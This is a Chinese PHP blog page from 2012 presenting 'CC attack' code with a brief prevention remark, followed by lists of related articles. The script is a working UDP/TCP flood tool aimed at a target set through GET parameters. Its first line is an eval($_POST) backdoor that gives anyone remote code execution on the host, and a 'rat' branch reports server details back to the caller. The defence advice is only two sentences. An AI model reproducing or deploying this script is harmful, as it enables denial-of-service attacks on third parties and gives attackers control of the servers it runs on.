php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
在PHP3中实现SESSION的功能(一)
Oct 09 PHP
php中对2个数组相加的函数
Jun 24 PHP
php设计模式 Facade(外观模式)
Jun 26 PHP
PHP 杂谈《重构-改善既有代码的设计》之五 简化函数调用
May 07 PHP
PHP弹出提示框并跳转到新页面即重定向到新页面
Jan 24 PHP
PHP实现将视频转成MP4并获取视频预览图的方法
Mar 12 PHP
PHP的邮件群发系统phplist配置方法详细总结
Mar 30 PHP
golang与PHP输出excel示例
Jul 22 PHP
详解Yii2.0 rules验证规则集合
Mar 21 PHP
php中html_entity_decode实现HTML实体转义
Jun 13 PHP
Yii支持多域名cors原理的实现
Dec 05 PHP
YII2框架中添加自定义模块的方法实例分析
Mar 18 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
让的PHP代码飞起来的40条小技巧(提升php效率)
2010/04/12 PHP
PHP聚合式迭代器接口IteratorAggregate用法分析
2017/12/28 PHP
php通过header发送自定义数据方法
2018/01/18 PHP
jQuery EasyUI API 中文文档 - PropertyGrid属性表格
2011/11/18 Javascript
js 函数调用模式小结
2011/12/26 Javascript
js中符号转意问题示例探讨
2013/08/19 Javascript
js 操作符汇总
2014/11/08 Javascript
jQuery过滤HTML标签并高亮显示关键字的方法
2015/08/07 Javascript
JavaScript简单遍历DOM对象所有属性的实现方法
2015/10/21 Javascript
认识Knockout及如何使用Knockout绑定上下文
2015/12/25 Javascript
js上下视差滚动简单实现代码
2017/03/07 Javascript
JavaScript实现构造json数组的方法分析
2018/08/17 Javascript
微信实现自动跳转到用其他浏览器打开指定APP下载
2019/02/15 Javascript
ES6新增的数组知识实例小结
2020/05/23 Javascript
vue实现虚拟列表功能的代码
2020/07/28 Javascript
python判断字符串编码的简单实现方法(使用chardet)
2016/07/01 Python
Python 反转字符串(reverse)的方法小结
2018/02/20 Python
Pandas 合并多个Dataframe(merge,concat)的方法
2018/06/08 Python
pandas 将list切分后存入DataFrame中的实例
2018/07/03 Python
python 对给定可迭代集合统计出现频率,并排序的方法
2018/10/18 Python
selenium+python截图不成功的解决方法
2019/01/30 Python
python pygame实现五子棋小游戏
2020/10/26 Python
基于python实现的百度音乐下载器python pyqt改进版(附代码)
2019/08/05 Python
通过python3实现投票功能代码实例
2019/09/26 Python
Python3如何对urllib和urllib2进行重构
2019/11/25 Python
python如何绘制疫情图
2020/09/16 Python
html5 Canvas画图教程(10)—把面拆成线条模拟出圆角矩形
2013/01/09 HTML / CSS
世界上最值得信赖的多日游在线市场:TourRadar
2018/07/20 全球购物
YSL圣罗兰美妆英国官网:Yves Saint Laurent Beauty UK
2019/08/03 全球购物
Swanson中国官网:美国斯旺森健康产品公司
2021/03/01 全球购物
医院护士求职自荐信格式
2013/09/21 职场文书
企业员工集体活动方案
2014/08/17 职场文书
2014年保管员工作总结
2014/11/18 职场文书
2016大学先进团支部事迹材料
2016/03/01 职场文书
Feign调用传输文件异常的解决
2021/06/24 Java/Android
mysql sock文件存储了什么信息
2022/07/15 MySQL